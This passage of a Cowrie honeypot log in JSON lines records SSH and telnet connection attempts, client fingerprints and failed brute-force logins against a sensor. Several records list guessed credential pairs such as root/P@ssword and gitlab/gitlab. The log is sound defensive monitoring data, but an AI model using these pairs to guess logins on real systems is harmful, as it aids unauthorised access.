128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:41.536848Z","src_ip":"38.148.249.2","session":"80a1dbbc7f2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Vr123456","message":"login attempt [root/Vr123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:41.856120Z","src_ip":"38.148.249.2","session":"80a1dbbc7f2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:42.929773Z","src_ip":"38.148.249.2","session":"80a1dbbc7f2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53512,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb265511b2ae","protocol":"telnet","message":"New connection: 172.81.62.90:53512 (159.203.135.109:23) [session: fb265511b2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:00:49.100647Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":36314,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d20a32f72ee","protocol":"ssh","message":"New connection: 165.154.137.186:36314 (10.17.0.5:22) [session: 3d20a32f72ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:03.933925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:03.939471Z","src_ip":"165.154.137.186","session":"3d20a32f72ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:04.205392Z","src_ip":"165.154.137.186","session":"3d20a32f72ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword","message":"login attempt [root/P@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:05.017082Z","src_ip":"165.154.137.186","session":"3d20a32f72ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":54614,"dst_ip":"10.17.0.5","dst_port":22,"session":"39f416946456","protocol":"ssh","message":"New connection: 165.154.137.186:54614 (10.17.0.5:22) [session: 39f416946456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:05.634782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:05.638533Z","src_ip":"165.154.137.186","session":"39f416946456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:05.909804Z","src_ip":"165.154.137.186","session":"39f416946456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:06.285410Z","src_ip":"165.154.137.186","session":"3d20a32f72ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gitlab","password":"gitlab","message":"login attempt [gitlab/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:06.673275Z","src_ip":"165.154.137.186","session":"39f416946456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:07.927695Z","src_ip":"165.154.137.186","session":"39f416946456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":49720,"dst_ip":"10.17.0.5","dst_port":22,"session":"a814560e30b3","protocol":"ssh","message":"New connection: 165.154.137.186:49720 (10.17.0.5:22) [session: a814560e30b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:28.700849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:28.707018Z","src_ip":"165.154.137.186","session":"a814560e30b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:28.959149Z","src_ip":"165.154.137.186","session":"a814560e30b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"123456","message":"login attempt [devops/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:29.712354Z","src_ip":"165.154.137.186","session":"a814560e30b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:30.967443Z","src_ip":"165.154.137.186","session":"a814560e30b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.9082932472229,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:31.008778Z","src_ip":"172.81.62.90","session":"fb265511b2ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":49020,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf350ff2aa9e","protocol":"telnet","message":"New connection: 107.6.151.170:49020 (159.203.135.109:23) [session: cf350ff2aa9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:33.326420Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36976,"dst_ip":"159.203.135.109","dst_port":23,"session":"8658581af71b","protocol":"telnet","message":"New connection: 128.199.8.54:36976 (159.203.135.109:23) [session: 8658581af71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:40.571080Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":42288,"dst_ip":"10.17.0.5","dst_port":22,"session":"935c2e819cd6","protocol":"ssh","message":"New connection: 165.154.137.186:42288 (10.17.0.5:22) [session: 935c2e819cd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:41.754591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:41.758862Z","src_ip":"165.154.137.186","session":"935c2e819cd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:42.024081Z","src_ip":"165.154.137.186","session":"935c2e819cd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:42.822716Z","src_ip":"165.154.137.186","session":"935c2e819cd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:44.091178Z","src_ip":"165.154.137.186","session":"935c2e819cd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.12.68","src_port":38966,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b77942c881","protocol":"ssh","message":"New connection: 43.153.12.68:38966 (10.17.0.5:22) [session: 36b77942c881]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:48.402450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:48.408461Z","src_ip":"43.153.12.68","session":"36b77942c881","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:48.482632Z","src_ip":"43.153.12.68","session":"36b77942c881","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123.com.CN","message":"login attempt [root/123.com.CN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:48.796461Z","src_ip":"43.153.12.68","session":"36b77942c881","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:49.867296Z","src_ip":"43.153.12.68","session":"36b77942c881","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38788,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bab96d395ca","protocol":"telnet","message":"New connection: 128.199.8.54:38788 (159.203.135.109:23) [session: 9bab96d395ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:50.869386Z"}
{"eventid":"cowrie.session.closed","duration":0.005548000335693359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:50.874788Z","src_ip":"128.199.8.54","session":"9bab96d395ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":58288,"dst_ip":"10.17.0.5","dst_port":22,"session":"eacd1e99f805","protocol":"ssh","message":"New connection: 165.154.137.186:58288 (10.17.0.5:22) [session: eacd1e99f805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:57.302006Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:57.317099Z","src_ip":"165.154.137.186","session":"eacd1e99f805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:57.660197Z","src_ip":"165.154.137.186","session":"eacd1e99f805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"123456","message":"login attempt [es/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:58.485083Z","src_ip":"165.154.137.186","session":"eacd1e99f805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:01:59.736663Z","src_ip":"165.154.137.186","session":"eacd1e99f805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40012,"dst_ip":"10.17.0.5","dst_port":22,"session":"f773399b8179","protocol":"ssh","message":"New connection: 165.154.137.186:40012 (10.17.0.5:22) [session: f773399b8179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:14.216528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:14.220986Z","src_ip":"165.154.137.186","session":"f773399b8179","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:14.485981Z","src_ip":"165.154.137.186","session":"f773399b8179","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:15.282728Z","src_ip":"165.154.137.186","session":"f773399b8179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:16.578988Z","src_ip":"165.154.137.186","session":"f773399b8179","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.76244068145752,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:18.088711Z","src_ip":"107.6.151.170","session":"cf350ff2aa9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.968337535858154,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:18.539313Z","src_ip":"128.199.8.54","session":"8658581af71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.80.65.140","src_port":57242,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6c8c8cae679","protocol":"ssh","message":"New connection: 170.80.65.140:57242 (10.17.0.5:22) [session: b6c8c8cae679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:20.800447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:20.804747Z","src_ip":"170.80.65.140","session":"b6c8c8cae679","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":48940,"dst_ip":"10.17.0.5","dst_port":22,"session":"b23f5c767b33","protocol":"ssh","message":"New connection: 165.154.137.186:48940 (10.17.0.5:22) [session: b23f5c767b33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:02:20.909083Z"}
